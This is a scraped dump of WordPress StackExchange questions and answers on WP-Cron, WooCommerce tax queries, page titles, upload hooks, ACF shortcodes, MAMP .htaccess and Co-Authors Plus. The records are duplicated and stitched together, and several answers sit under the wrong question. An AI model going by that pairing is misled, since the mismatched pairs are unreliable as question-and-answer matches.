$first_name = $user->first_name;/*$first_name gives you first name*/
$last_name = $user->last_name;
``` |
256,282 | <p>I have created a plugin in WordPress to sync posts from a third party API. </p>
<p>I have set a cron job to fetch data in every 10 minutes. If I'm logged in, cron is working, otherwise cron is not working.</p>
| [
{
"answer_id": 256285,
"author": "Thilak",
"author_id": 113208,
"author_profile": "https://wordpress.stackexchange.com/users/113208",
"pm_score": 0,
"selected": false,
"text": "<p>WordPress Import Corn is Not Working Properly. If Admin Login, then only the cron's are scheduled. This is default thing in WordPress. So you Need to change your cron schedule to system task manager. This one is the possible way to run your Cron without admin login. </p>\n\n<p>Get the steps from following documentation URL. Configure It.</p>\n\n<p><a href=\"https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/\" rel=\"nofollow noreferrer\">Wp-Cron.php Documentation </a></p>\n"
},
{
"answer_id": 256533,
"author": "Thilak",
"author_id": 113208,
"author_profile": "https://wordpress.stackexchange.com/users/113208",
"pm_score": 1,
"selected": false,
"text": "<p>The WP Cron .. which runs when user hit website .. Thus if there are no website visits, WP Cron never runs.</p>\n<p>Now you can use 2 solutions.</p>\n<pre><code>Disable WP-Cron and use real cron job and then custom real cron job\n</code></pre>\n<p><a href=\"https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job\" rel=\"nofollow noreferrer\">https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job</a></p>\n<pre><code>use custom interval in wp_schedule_event\n\nadd_filter( 'cron_schedules', 'myprefix_add_a_cron_schedule' );\n\nfunction myprefix_add_a_cron_schedule( $schedules ) {\n\n $schedules['sixsec'] = array(\n\n 'interval' => 21600, // Every 6 hours\n\n 'display' => __( 'Every 6 hours' ),\n );\n\n return $schedules;\n}\n\n ///////Schedule an action if it's not already scheduled\n\nif ( ! wp_next_scheduled( 'myprefix_curl_cron_action' ) ) {\n\n wp_schedule_event( time(), 'sixsec', 'myprefix_curl_cron_action' );\n}\n\n///Hook into that action that'll fire sixhour\n add_action( 'myprefix_curl_cron_action', 'import_into_db' );\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256282",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/93030/"
]
| I have created a plugin in WordPress to sync posts from a third party API.
I have set a cron job to fetch data in every 10 minutes. If I'm logged in, cron is working, otherwise cron is not working. | The WP Cron .. which runs when user hit website .. Thus if there are no website visits, WP Cron never runs.
Now you can use 2 solutions.
```
Disable WP-Cron and use real cron job and then custom real cron job
```
<https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job>
```
use custom interval in wp_schedule_event
add_filter( 'cron_schedules', 'myprefix_add_a_cron_schedule' );
function myprefix_add_a_cron_schedule( $schedules ) {
$schedules['sixsec'] = array(
'interval' => 21600, // Every 6 hours
'display' => __( 'Every 6 hours' ),
);
return $schedules;
}
///////Schedule an action if it's not already scheduled
if ( ! wp_next_scheduled( 'myprefix_curl_cron_action' ) ) {
wp_schedule_event( time(), 'sixsec', 'myprefix_curl_cron_action' );
}
///Hook into that action that'll fire sixhour
add_action( 'myprefix_curl_cron_action', 'import_into_db' );
``` |
256,287 | <p>test .php </p>
<pre><code><div id="widget_dta"></div>
<script type="text/javascript" src="widget.js"></script>
<script type="text/javascript">
init_widget('john','robert');
</script>
</code></pre>
<p>widget.js</p>
<pre><code> (function() {
// Localize jQuery variable
var jQuery;
/******** Load jQuery if not present *********/
if (window.jQuery === undefined || window.jQuery.fn.jquery !== '1.4.2') {
var script_tag = document.createElement('script');
script_tag.setAttribute("type","text/javascript");
script_tag.setAttribute("src",
"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js");
if (script_tag.readyState) {
script_tag.onreadystatechange = function () { // For old versions of IE
if (this.readyState == 'complete' || this.readyState == 'loaded') {
scriptLoadHandler();
}
};
} else { // Other browsers
script_tag.onload = scriptLoadHandler;
}
// Try to find the head, otherwise default to the documentElement
(document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
} else {
// The jQuery version on the window is the one we want to use
jQuery = window.jQuery;
main();
}
/******** Called once jQuery has loaded ******/
function scriptLoadHandler() {
// Restore $ and window.jQuery to their previous values and store the
// new jQuery in our local jQuery variable
jQuery = window.jQuery.noConflict(true);
// Call our main function
main();
}
/******** Our main function ********/
function main() {
jQuery(document).ready(function($) {
function init_widget(fname,lname) {
$('#widget_dta').append('<p class="fname">first name :'+fname+'</p><p class="lname">last name :'+lname+'</p>');
}
});
}
})();
</code></pre>
<p>error : I am getting this error "ReferenceError: init_widget is not defined". can anyone help where I am doing wrong.</p>
| [
{
"answer_id": 256285,
"author": "Thilak",
"author_id": 113208,
"author_profile": "https://wordpress.stackexchange.com/users/113208",
"pm_score": 0,
"selected": false,
"text": "<p>WordPress Import Corn is Not Working Properly. If Admin Login, then only the cron's are scheduled. This is default thing in WordPress. So you Need to change your cron schedule to system task manager. This one is the possible way to run your Cron without admin login. </p>\n\n<p>Get the steps from following documentation URL. Configure It.</p>\n\n<p><a href=\"https://developer.wordpress.org/plugins/cron/hooking-into-the-system-task-scheduler/\" rel=\"nofollow noreferrer\">Wp-Cron.php Documentation </a></p>\n"
},
{
"answer_id": 256533,
"author": "Thilak",
"author_id": 113208,
"author_profile": "https://wordpress.stackexchange.com/users/113208",
"pm_score": 1,
"selected": false,
"text": "<p>The WP Cron .. which runs when user hit website .. Thus if there are no website visits, WP Cron never runs.</p>\n<p>Now you can use 2 solutions.</p>\n<pre><code>Disable WP-Cron and use real cron job and then custom real cron job\n</code></pre>\n<p><a href=\"https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job\" rel=\"nofollow noreferrer\">https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job</a></p>\n<pre><code>use custom interval in wp_schedule_event\n\nadd_filter( 'cron_schedules', 'myprefix_add_a_cron_schedule' );\n\nfunction myprefix_add_a_cron_schedule( $schedules ) {\n\n $schedules['sixsec'] = array(\n\n 'interval' => 21600, // Every 6 hours\n\n 'display' => __( 'Every 6 hours' ),\n );\n\n return $schedules;\n}\n\n ///////Schedule an action if it's not already scheduled\n\nif ( ! wp_next_scheduled( 'myprefix_curl_cron_action' ) ) {\n\n wp_schedule_event( time(), 'sixsec', 'myprefix_curl_cron_action' );\n}\n\n///Hook into that action that'll fire sixhour\n add_action( 'myprefix_curl_cron_action', 'import_into_db' );\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256287",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112990/"
]
| test .php
```
<div id="widget_dta"></div>
<script type="text/javascript" src="widget.js"></script>
<script type="text/javascript">
init_widget('john','robert');
</script>
```
widget.js
```
(function() {
// Localize jQuery variable
var jQuery;
/******** Load jQuery if not present *********/
if (window.jQuery === undefined || window.jQuery.fn.jquery !== '1.4.2') {
var script_tag = document.createElement('script');
script_tag.setAttribute("type","text/javascript");
script_tag.setAttribute("src",
"https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js");
if (script_tag.readyState) {
script_tag.onreadystatechange = function () { // For old versions of IE
if (this.readyState == 'complete' || this.readyState == 'loaded') {
scriptLoadHandler();
}
};
} else { // Other browsers
script_tag.onload = scriptLoadHandler;
}
// Try to find the head, otherwise default to the documentElement
(document.getElementsByTagName("head")[0] || document.documentElement).appendChild(script_tag);
} else {
// The jQuery version on the window is the one we want to use
jQuery = window.jQuery;
main();
}
/******** Called once jQuery has loaded ******/
function scriptLoadHandler() {
// Restore $ and window.jQuery to their previous values and store the
// new jQuery in our local jQuery variable
jQuery = window.jQuery.noConflict(true);
// Call our main function
main();
}
/******** Our main function ********/
function main() {
jQuery(document).ready(function($) {
function init_widget(fname,lname) {
$('#widget_dta').append('<p class="fname">first name :'+fname+'</p><p class="lname">last name :'+lname+'</p>');
}
});
}
})();
```
error : I am getting this error "ReferenceError: init\_widget is not defined". can anyone help where I am doing wrong. | The WP Cron .. which runs when user hit website .. Thus if there are no website visits, WP Cron never runs.
Now you can use 2 solutions.
```
Disable WP-Cron and use real cron job and then custom real cron job
```
<https://support.hostgator.com/articles/specialized-help/technical/wordpress/how-to-replace-wordpress-cron-with-a-real-cron-job>
```
use custom interval in wp_schedule_event
add_filter( 'cron_schedules', 'myprefix_add_a_cron_schedule' );
function myprefix_add_a_cron_schedule( $schedules ) {
$schedules['sixsec'] = array(
'interval' => 21600, // Every 6 hours
'display' => __( 'Every 6 hours' ),
);
return $schedules;
}
///////Schedule an action if it's not already scheduled
if ( ! wp_next_scheduled( 'myprefix_curl_cron_action' ) ) {
wp_schedule_event( time(), 'sixsec', 'myprefix_curl_cron_action' );
}
///Hook into that action that'll fire sixhour
add_action( 'myprefix_curl_cron_action', 'import_into_db' );
``` |
256,301 | <p>I'm trying to alter the search functionality of a WooCommerce store so when a user makes a query that matches a <code>product_tag</code> slug it returns the products that don't have that product tag assigned.</p>
<p>The logic behind this is showing all the products without gluten to a user who searches for "gluten".</p>
<p>My code is almost working except for the <em>operator</em> parameter.</p>
<p>I'm throwing this query:</p>
<pre><code>http://example.com/?s=gluten
</code></pre>
<p><strong>This function returns all the products tagged as the search query:</strong></p>
<pre><code>function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
</code></pre>
<p><strong>But if I change the operator to NOT IN, I get no results:</strong></p>
<pre><code>function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'NOT IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
</code></pre>
<p>The products are correctly tagged, and there are products without the <em>gluten</em> tag </p>
| [
{
"answer_id": 256349,
"author": "nibnut",
"author_id": 111316,
"author_profile": "https://wordpress.stackexchange.com/users/111316",
"pm_score": 4,
"selected": true,
"text": "<p>I suspect you need an array for the terms - although I'm not sure why it would work with \"IN\" and not with \"NOT IN\"... But I'd try this:</p>\n\n<pre><code>function menta_pre_get_posts( $query ) {\nif ( !is_admin() && $query->is_search() && $query->is_main_query() ) {\n $term = get_term_by('slug', get_query_var('s'), 'product_tag');\n if ( $term && !is_wp_error( $term ) ) {\n $tax_query = array(\n 'taxonomy' => 'product_tag',\n 'field' => 'slug',\n 'terms' => array($term->slug),\n 'operator' => 'NOT IN'\n );\n $query->tax_query->queries[] = $tax_query;\n $query->query_vars['tax_query'] = $query->tax_query->queries;\n $query->set('tax_query', $query->tax_query->queries);\n }\n}}\nadd_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );\n</code></pre>\n\n<p>Hope this helps!</p>\n"
},
{
"answer_id": 406578,
"author": "luismetaverse",
"author_id": 128685,
"author_profile": "https://wordpress.stackexchange.com/users/128685",
"pm_score": 0,
"selected": false,
"text": "<p>Just to complement the answer by @nibnut, I recommend to check first if there is some tax_query in the Query, so you do not overwrite them:</p>\n<pre><code>$query->tax_query->queries = (array) $query->get( 'tax_query' );\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256301",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/45686/"
]
| I'm trying to alter the search functionality of a WooCommerce store so when a user makes a query that matches a `product_tag` slug it returns the products that don't have that product tag assigned.
The logic behind this is showing all the products without gluten to a user who searches for "gluten".
My code is almost working except for the *operator* parameter.
I'm throwing this query:
```
http://example.com/?s=gluten
```
**This function returns all the products tagged as the search query:**
```
function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
```
**But if I change the operator to NOT IN, I get no results:**
```
function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => $term->slug,
'operator' => 'NOT IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
```
The products are correctly tagged, and there are products without the *gluten* tag | I suspect you need an array for the terms - although I'm not sure why it would work with "IN" and not with "NOT IN"... But I'd try this:
```
function menta_pre_get_posts( $query ) {
if ( !is_admin() && $query->is_search() && $query->is_main_query() ) {
$term = get_term_by('slug', get_query_var('s'), 'product_tag');
if ( $term && !is_wp_error( $term ) ) {
$tax_query = array(
'taxonomy' => 'product_tag',
'field' => 'slug',
'terms' => array($term->slug),
'operator' => 'NOT IN'
);
$query->tax_query->queries[] = $tax_query;
$query->query_vars['tax_query'] = $query->tax_query->queries;
$query->set('tax_query', $query->tax_query->queries);
}
}}
add_action( 'pre_get_posts', 'menta_pre_get_posts', 1 );
```
Hope this helps! |
256,320 | <pre><code><head>
<title>
<?php wp_title(''); ?>
</title>
</head>
</code></pre>
<p>This displays the page title in the title correctly everywhere except on the front page where it displays "Home | Motto...". How can I have the front page display the page title like it does everywhere else on the site?</p>
| [
{
"answer_id": 256322,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 1,
"selected": false,
"text": "<p>I'm not very sure how is your title on other pages, but here is how you can modify your title:</p>\n\n<p><code><?php wp_title( '|', true, 'right' ); ?></code></p>\n\n<p>This will show your Blog's name right to your page's title, which will have seo benefits. The <code>|</code> separator will be used here.</p>\n\n<p>If you want to customize your title further, you can use a situational <code>if()</code>, as the following:</p>\n\n<p><code><title> <?php if ( is_home() ) { //Your custom title here } else { wp_title(''); } ?> </title></code></p>\n\n<p>For custom title, you can use the following outputs:</p>\n\n<p><code>bloginfo('name')</code> = Displays the “Site Title” set in Settings > General</p>\n\n<p><code>bloginfo('description')</code> = Displays the “Tagline” set in Settings > General</p>\n\n<p>Or you can simply type your desired title in text format.</p>\n"
},
{
"answer_id": 256333,
"author": "Anwer AR",
"author_id": 83820,
"author_profile": "https://wordpress.stackexchange.com/users/83820",
"pm_score": 0,
"selected": false,
"text": "<p>why not replacing <code>wp_title</code> with <code>add_theme_support</code> function with '<code>title-tag</code>' parameter. this method is more convenient then the other. maybe it'll help you.</p>\n\n<pre><code>function wpse_1012_setup() {\n\n add_theme_support( 'title-tag' );\n}\nadd_action( 'after_setup_theme', 'wpse_1012_setup' );\n</code></pre>\n\n<p>remove the title tag from head section and if <code>wp_head</code> is present in <code>header.php</code> then the page title should work correctly.</p>\n"
},
{
"answer_id": 256346,
"author": "Nicolas Pellerin",
"author_id": 113254,
"author_profile": "https://wordpress.stackexchange.com/users/113254",
"pm_score": 0,
"selected": false,
"text": "<p>You can simply place a if around your wp_title function like this :</p>\n\n<pre><code><head>\n<title>\n <?php \n if (is_home()){\n echo 'Your home title';\n } else {\n wp_title();\n }\n ?>\n</title>\n</head>\n</code></pre>\n\n<p>Or the right way to do it would be to apply a filter on the title to alter it by placing this code in function.php.</p>\n\n<pre><code>add_filter( 'pre_get_document_title', 'generate_custom_title', 900 );\nfunction generate_custom_title($title) {\n if (is_home()) {\n $title = \"Your title here\";\n } \n return $title;\n}\n</code></pre>\n\n<p>if you do use Yoast plugin for SEO, you can also add this line to apply title to the Yoast meta titles</p>\n\n<pre><code> add_filter( 'wpseo_title', 'generate_custom_title', 900);\n</code></pre>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256320",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111846/"
]
| ```
<head>
<title>
<?php wp_title(''); ?>
</title>
</head>
```
This displays the page title in the title correctly everywhere except on the front page where it displays "Home | Motto...". How can I have the front page display the page title like it does everywhere else on the site? | I'm not very sure how is your title on other pages, but here is how you can modify your title:
`<?php wp_title( '|', true, 'right' ); ?>`
This will show your Blog's name right to your page's title, which will have seo benefits. The `|` separator will be used here.
If you want to customize your title further, you can use a situational `if()`, as the following:
`<title> <?php if ( is_home() ) { //Your custom title here } else { wp_title(''); } ?> </title>`
For custom title, you can use the following outputs:
`bloginfo('name')` = Displays the “Site Title” set in Settings > General
`bloginfo('description')` = Displays the “Tagline” set in Settings > General
Or you can simply type your desired title in text format. |
256,351 | <p>I'd like to compress images once they're uploaded to media library. Is there any hook that fires once the image is uploaded and the image sizes generated?</p>
| [
{
"answer_id": 256352,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 5,
"selected": true,
"text": "<blockquote>\n <p>Is there any hook that fires once the image is uploaded and the image sizes generated?</p>\n</blockquote>\n\n<p><a href=\"https://developer.wordpress.org/reference/hooks/wp_handle_upload/\" rel=\"noreferrer\"><code>wp_handle_upload</code></a> fires after the image is uploaded. After the follow-up question, I discovered that images would not be sized at this point.</p>\n\n<pre><code>add_filter( 'wp_handle_upload' 'wpse_256351_upload', 10, 2 );\nfunction wpse_256351_upload( $upload, $context ) {\n //* Do something interesting\n return $upload;\n}\n</code></pre>\n\n<p>Added:</p>\n\n<p>Images are resized on <a href=\"https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135\" rel=\"noreferrer\">line 135</a> of image.php. There are no hooks in method to resize the images.</p>\n\n<p>At the end of the wp_generate_attachment_metadata() function, <a href=\"https://developer.wordpress.org/reference/hooks/wp_generate_attachment_metadata/\" rel=\"noreferrer\"><code>wp_generate_attachment_metadata</code></a> fires. This is after the image sizes are generated. </p>\n\n<p><a href=\"https://developer.wordpress.org/reference/hooks/wp_read_image_metadata/\" rel=\"noreferrer\"><code>wp_read_image_metadata</code></a> is another option. It fires before <code>wp_generate_attachment_metadata</code> but after image sizes are generated.</p>\n"
},
{
"answer_id": 306206,
"author": "Mark",
"author_id": 19396,
"author_profile": "https://wordpress.stackexchange.com/users/19396",
"pm_score": 2,
"selected": false,
"text": "<p>Use the <code>wp_generate_attachment_metadata</code> filter for this, it's fired in the <a href=\"https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/\" rel=\"nofollow noreferrer\">wp_generate_attachment_metadata</a> function.</p>\n"
}
]
| 2017/02/13 | [
"https://wordpress.stackexchange.com/questions/256351",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/47664/"
]
| I'd like to compress images once they're uploaded to media library. Is there any hook that fires once the image is uploaded and the image sizes generated? | >
> Is there any hook that fires once the image is uploaded and the image sizes generated?
>
>
>
[`wp_handle_upload`](https://developer.wordpress.org/reference/hooks/wp_handle_upload/) fires after the image is uploaded. After the follow-up question, I discovered that images would not be sized at this point.
```
add_filter( 'wp_handle_upload' 'wpse_256351_upload', 10, 2 );
function wpse_256351_upload( $upload, $context ) {
//* Do something interesting
return $upload;
}
```
Added:
Images are resized on [line 135](https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135) of image.php. There are no hooks in method to resize the images.
At the end of the wp\_generate\_attachment\_metadata() function, [`wp_generate_attachment_metadata`](https://developer.wordpress.org/reference/hooks/wp_generate_attachment_metadata/) fires. This is after the image sizes are generated.
[`wp_read_image_metadata`](https://developer.wordpress.org/reference/hooks/wp_read_image_metadata/) is another option. It fires before `wp_generate_attachment_metadata` but after image sizes are generated. |
256,368 | <p>I am using <code>acfvalue</code> variable to get value and use it in more than one shortcode, let me explain i want to store ACF value in one variable and then use that variable in 3 function and create 3 shortcode.</p>
<pre><code>$acfvalue = get_field( 'short_title' );
</code></pre>
<p>above code is getting ACF value and storing in $acfvalue, now i want to use this variable in 3 different functions and create shortcode. i can declare and define 3 times $acfvalue and its working but i dont to fetch same value from post meta. </p>
<pre><code>function hprice(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Price list in India" . '</h2>';
}
add_shortcode( 'pprice', 'hprice' );
function hspecs(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Full Specification" . '</h2>';
}
add_shortcode( 'pspecs', 'hspecs' );
function hreview(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Review" . '</h2>';
}
add_shortcode( 'preview', 'hreview' );
</code></pre>
<p>so above code is working.. problem is i want to move $acfvalue = get_field( 'short_title' ); outside of function.</p>
| [
{
"answer_id": 256352,
"author": "Nathan Johnson",
"author_id": 106269,
"author_profile": "https://wordpress.stackexchange.com/users/106269",
"pm_score": 5,
"selected": true,
"text": "<blockquote>\n <p>Is there any hook that fires once the image is uploaded and the image sizes generated?</p>\n</blockquote>\n\n<p><a href=\"https://developer.wordpress.org/reference/hooks/wp_handle_upload/\" rel=\"noreferrer\"><code>wp_handle_upload</code></a> fires after the image is uploaded. After the follow-up question, I discovered that images would not be sized at this point.</p>\n\n<pre><code>add_filter( 'wp_handle_upload' 'wpse_256351_upload', 10, 2 );\nfunction wpse_256351_upload( $upload, $context ) {\n //* Do something interesting\n return $upload;\n}\n</code></pre>\n\n<p>Added:</p>\n\n<p>Images are resized on <a href=\"https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135\" rel=\"noreferrer\">line 135</a> of image.php. There are no hooks in method to resize the images.</p>\n\n<p>At the end of the wp_generate_attachment_metadata() function, <a href=\"https://developer.wordpress.org/reference/hooks/wp_generate_attachment_metadata/\" rel=\"noreferrer\"><code>wp_generate_attachment_metadata</code></a> fires. This is after the image sizes are generated. </p>\n\n<p><a href=\"https://developer.wordpress.org/reference/hooks/wp_read_image_metadata/\" rel=\"noreferrer\"><code>wp_read_image_metadata</code></a> is another option. It fires before <code>wp_generate_attachment_metadata</code> but after image sizes are generated.</p>\n"
},
{
"answer_id": 306206,
"author": "Mark",
"author_id": 19396,
"author_profile": "https://wordpress.stackexchange.com/users/19396",
"pm_score": 2,
"selected": false,
"text": "<p>Use the <code>wp_generate_attachment_metadata</code> filter for this, it's fired in the <a href=\"https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/\" rel=\"nofollow noreferrer\">wp_generate_attachment_metadata</a> function.</p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256368",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/111081/"
]
| I am using `acfvalue` variable to get value and use it in more than one shortcode, let me explain i want to store ACF value in one variable and then use that variable in 3 function and create 3 shortcode.
```
$acfvalue = get_field( 'short_title' );
```
above code is getting ACF value and storing in $acfvalue, now i want to use this variable in 3 different functions and create shortcode. i can declare and define 3 times $acfvalue and its working but i dont to fetch same value from post meta.
```
function hprice(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Price list in India" . '</h2>';
}
add_shortcode( 'pprice', 'hprice' );
function hspecs(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Full Specification" . '</h2>';
}
add_shortcode( 'pspecs', 'hspecs' );
function hreview(){
$acfvalue = get_field( 'short_title' );
return '<h2>'. $acfvalue . " Review" . '</h2>';
}
add_shortcode( 'preview', 'hreview' );
```
so above code is working.. problem is i want to move $acfvalue = get\_field( 'short\_title' ); outside of function. | >
> Is there any hook that fires once the image is uploaded and the image sizes generated?
>
>
>
[`wp_handle_upload`](https://developer.wordpress.org/reference/hooks/wp_handle_upload/) fires after the image is uploaded. After the follow-up question, I discovered that images would not be sized at this point.
```
add_filter( 'wp_handle_upload' 'wpse_256351_upload', 10, 2 );
function wpse_256351_upload( $upload, $context ) {
//* Do something interesting
return $upload;
}
```
Added:
Images are resized on [line 135](https://core.trac.wordpress.org/browser/tags/4.7/src/wp-admin/includes/image.php#L135) of image.php. There are no hooks in method to resize the images.
At the end of the wp\_generate\_attachment\_metadata() function, [`wp_generate_attachment_metadata`](https://developer.wordpress.org/reference/hooks/wp_generate_attachment_metadata/) fires. This is after the image sizes are generated.
[`wp_read_image_metadata`](https://developer.wordpress.org/reference/hooks/wp_read_image_metadata/) is another option. It fires before `wp_generate_attachment_metadata` but after image sizes are generated. |
256,372 | <p>I am trying to setup a local environment on my Windows 10 machine (to knock out some overtime) but keep running into a problem. Let me start with my environment workflow on Mac OSX... I have developed many sites locally over the years using MAMP Pro, allowing me to have a host for each project. However, at home I have just recently switched to the Windows environment. I downloaded MAMP Pro for Windows (which is identical at least in UI) and setup everything. I worked for a bit just fine, but didn't notice until now, that if you try to go to any other page but the home page, I get a 403 Forbidden Error. I can even kick start this error by saving permalinks (renders the entire host/site as a 403, nothing works.)</p>
<p>The only way I can get the site to appear again is to remove everything from the <code>.htaccess</code> file. Then I have the homepage again (admin works fine) but thats it. When I save permalinks this is what it produces in the <code>.htaccess</code> file:</p>
<pre><code># BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
</code></pre>
<p>I feel like my question might be kind of broad, but what could the issue be here? Is it permissions? I feel pretty well versed in in servers/unix/permissions but throwing Windows into the picture gets me hung up. I'm also using Cmder for a command line tool. </p>
| [
{
"answer_id": 256419,
"author": "AddWeb Solution Pvt Ltd",
"author_id": 73643,
"author_profile": "https://wordpress.stackexchange.com/users/73643",
"pm_score": -1,
"selected": false,
"text": "<p>You have to add <strong>your project directory name</strong> into <strong>RewriteBase</strong> and <strong>RewriteRule</strong>.</p>\n\n<p>For Example:</p>\n\n<pre><code><IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /wordpress/\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /wordpress/index.php [L]\n</IfModule>\n</code></pre>\n"
},
{
"answer_id": 257277,
"author": "erwstout",
"author_id": 73064,
"author_profile": "https://wordpress.stackexchange.com/users/73064",
"pm_score": 1,
"selected": true,
"text": "<p>While not <em>really</em> a an answer when it comes to MAMP's problem on Windows. Installing WAMP and running WordPress there instead fixed this issue. </p>\n"
}
]
| 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256372",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/73064/"
]
| I am trying to setup a local environment on my Windows 10 machine (to knock out some overtime) but keep running into a problem. Let me start with my environment workflow on Mac OSX... I have developed many sites locally over the years using MAMP Pro, allowing me to have a host for each project. However, at home I have just recently switched to the Windows environment. I downloaded MAMP Pro for Windows (which is identical at least in UI) and setup everything. I worked for a bit just fine, but didn't notice until now, that if you try to go to any other page but the home page, I get a 403 Forbidden Error. I can even kick start this error by saving permalinks (renders the entire host/site as a 403, nothing works.)
The only way I can get the site to appear again is to remove everything from the `.htaccess` file. Then I have the homepage again (admin works fine) but thats it. When I save permalinks this is what it produces in the `.htaccess` file:
```
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress
```
I feel like my question might be kind of broad, but what could the issue be here? Is it permissions? I feel pretty well versed in in servers/unix/permissions but throwing Windows into the picture gets me hung up. I'm also using Cmder for a command line tool. | While not *really* a an answer when it comes to MAMP's problem on Windows. Installing WAMP and running WordPress there instead fixed this issue. |
256,393 | <p>I am using the <em>Co-authors plus</em> plugin on our web page because sometimes we have more authors of an article. It is working really fine until today. I used classic archive.php to list all posts of the author based on global settings (same post excerpt, thumbs, posts per page 6 – defined in global WordPress & theme PHPs). My authors requested to create theme profile pages with the list of all posts based on <code>author.php</code>. So I was forced to overwrite global settings (posts per page 6) with new <code>WP_Query</code> and here comes the problem with <em>Co-authors</em> plugin.</p>
<p>When I use the following code below the posts are listed only under author who is assigned as the main author but not listed under co-authors.</p>
<pre><code><?php
$the_query = new WP_Query(
array(
'posts_per_page' => -1,
'author' => get_the_author_meta('ID'),
)
);
if ( $the_query->have_posts() ) :
while ( $the_query->have_posts() ) : $the_query->the_post();
the_time('d.m.Y ');
the_permalink();
the_title();
endwhile;
wp_reset_postdata();
else :
_e( 'Sorry, no posts matched your criteria.' );
</code></pre>
<p>I tried to do it based on <code>taxonomy</code>, <code>author_name</code>, <code>coauthor_meta</code>, etc, nothing helps.</p>
<p>You can see example <a href="http://vlcibouda.net/ruzne/snehuleni-ze-serie-komiksu-o-snehu" rel="nofollow noreferrer">here</a> (sorry it's not in English): This article is not listed under both authors.</p>
| [
{
"answer_id": 256412,
"author": "Jan Hanzman Kohoutek",
"author_id": 113288,
